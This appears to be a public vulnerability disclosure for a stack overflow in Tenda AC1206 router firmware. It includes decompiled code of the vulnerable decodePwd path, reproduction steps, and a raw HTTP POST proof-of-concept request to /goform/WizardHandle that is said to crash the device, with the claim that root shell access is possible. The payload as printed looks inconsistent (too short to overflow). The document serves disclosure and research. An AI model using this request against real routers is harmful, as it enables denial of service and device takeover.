

main ▾ vuln / Tenda / AC1206 / 1 /



Darry-lang1 Add files via upload ...

on Aug 5 ⌚ History

..



img

4 months ago



readme.md

4 months ago



readme.md

Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability

Overview

- Manufacturer's website information: <https://www.tenda.com.cn>
- Firmware download address : <https://www.tenda.com.cn/download/detail-2766.html>

Product Information

Tenda AC1206 V15.03.06.23, the latest version of simulation overview:

AC1206升级软件 V15.03.06.23

立即下载

关联产品: AC1206 更新日期: 2018/1/6

1.此固件只适用于AC1206的机器升级,不同型号不能使用该软件,升级前请通过路由器底部贴纸确认产品型号;
2.下载解压后,请使用有线连接路由器升级,升级过程中切勿切断电源,否则会导致机器损坏无法使用!

* 如果链接错误或其他问题,请反馈到 tenda@tenda.com.cn或联系在线客服, 谢谢。

Vulnerability details

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the fromWizardHandle function. An attacker can obtain a stable root shell through a carefully constructed payload.

```
63 GetValue("lan.ip", lan_ip);
64 wantstr = websGetVar(wp, "WANT", "0");
65 wanpstr = websGetVar(wp, "WANS", "0");
66 up = websGetVar(wp, "uprate", "256");
67 down = websGetVar(wp, "downrate", "256");
68 GetValue("wan.flag", wanflag);
69 want = atoi(wantstr);
70 wanport = atoi(wanpstr);
71 if (atoi(wanflag) >= wanport) ①
72 {
73     nettstr = websGetVar(wp, "NETT", "0");
74     sprintf(mib_name, "wan%d.net.type", wanport);
75     SetValue(mib_name, nettstr);
76     switch (want) ②
77     {
78     case 0:
79         mtu = websGetVar(wp, "mtuvalue", "1500");
80         memset(mib_name, 0, sizeof(mib_name));
81         sprintf(mib_name, "wan%d.dynamicMTU", wanport);
82         SetValue(mib_name, mtu);
83         memset(mib_name, 0, sizeof(mib_name));
```

When `wanflag >= wanport` and `want=2`, we can reach the vulnerable branch.

```

177         SetValue(mib_name, byte_50BE30);
178         memset(filename, 0, sizeof(filename));
179         sprintf(filename, "/etc/wan%d.ini", wanport);
180         goto LABEL_17;
181     case 2:
182         pppoeuser = websGetVar(wp, "PUN", byte_50BE30);
183         pppoepwd = websGetVar(wp, "PPW", byte_50BE30);
184         mtub = websGetVar(wp, "mtuvalue", "1492");
185         decodePwd(pppoepwd, decode_pwd); // There is a stack overflow vulnerability
186         memset(mib_name, 0, sizeof(mib_name));
187         sprintf(mib_name, "wan%d.pppoe.pwd", wanport); // [sp+110h] [+110h] BYREF
188         SetValue(mib_name, mtub);
189         memset(mib_name, 0, sizeof(mib_name));
190         sprintf(mib_name, "wan%d.pppoe.userid", wanport);
191         SetValue(mib_name, pppoeuser);

```

Stack overflow vulnerability occurs in the `decodepwd` function.

```

1 void __cdecl decodePwd(char *srcStr, char *dstStr)
2 {
3     char *srcStra; // [sp+8h] [+8h]
4     char *dstStra; // [sp+Ch] [+Ch]
5
6     srcStra = srcStr;
7     dstStra = dstStr;
8     if ( srcStr && dstStr )
9     {
10         while ( *srcStra ) // The end condition of the cycle is that 'srcstra' is empty
11         {
12             if ( *srcStra == '\\' ) // When the "\" symbol is encountered, it will not be copied
13                 ++srcStra;
14             *dstStra++ = *srcStra++; // Copy data through pointer
15         }
16         *dstStra = 0;
17     }
18 }

```

The `decodepwd` function is equivalent to copying data from and filtering "/" symbols. As long as the `pppoepwd` (the value of `PPW`) we enter exceeds the size of the `decode_pwd` array, it will cause a stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```

POST /goform/WizardHandle HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101
Firefox/103.0
Accept: */*
Accept-Language: zh-CN;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 12
Origin: http://192.168.0.1

```

DNT: 1

Connection: close

Referer: http://192.168.0.1/index.html

Cookie: ecos_pw=eee:language=cn

WANS=0&WANT=2&PPW=AA



By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

```
/ # ls -l
total 48
drwxr-xr-x  2 1000   1000           4096 Aug  4 12:10 bin
drwxr-xr-x  2 1000   1000           4096 Sep  6 2017 dev
lrwxrwxrwx  1 1000   1000             8 Sep  6 2017 etc -> /var/etc
drwxr-xr-x  6 1000   1000           4096 Sep  6 2017 etc_ro
lrwxrwxrwx  1 1000   1000           4096 Sep  6 2017 home -> /var/home
lrwxrwxrwx  1 1000   1000           4096 Sep  6 2017 init -> bin/busybox
drwxr-xr-x  3 1000   1000           4096 Sep  6 2017 lib
drwxr-xr-x  2 1000   1000           4096 Sep  6 2017 lost
drwxr-xr-x  3 1000   1000           4096 Aug  4 09:55 proc
lrwxrwxrwx  1 1000   1000           4096 Sep  6 2017 root -> /var/root
drwxr-xr-x  2 1000   1000           4096 Sep  6 2017 sbin
drwxr-xr-x  2 1000   1000           4096 Sep  6 2017 sys
drwxr-xr-x  2 1000   1000           4096 Sep  6 2017 tmp
drwxr-xr-x  6 1000   1000           4096 Sep  6 2017 usr
drwxr-xr-x  6 1000   1000           4096 Aug  4 09:06 var
lrwxrwxrwx  1 1000   1000           4096 Sep  6 2017 webroot -> /var/webroot
drwxr-xr-x  7 1000   1000           4096 Sep  6 2017 webroot_ro
/ #
```

Finally, you also can write `exp` to get a stable root shell.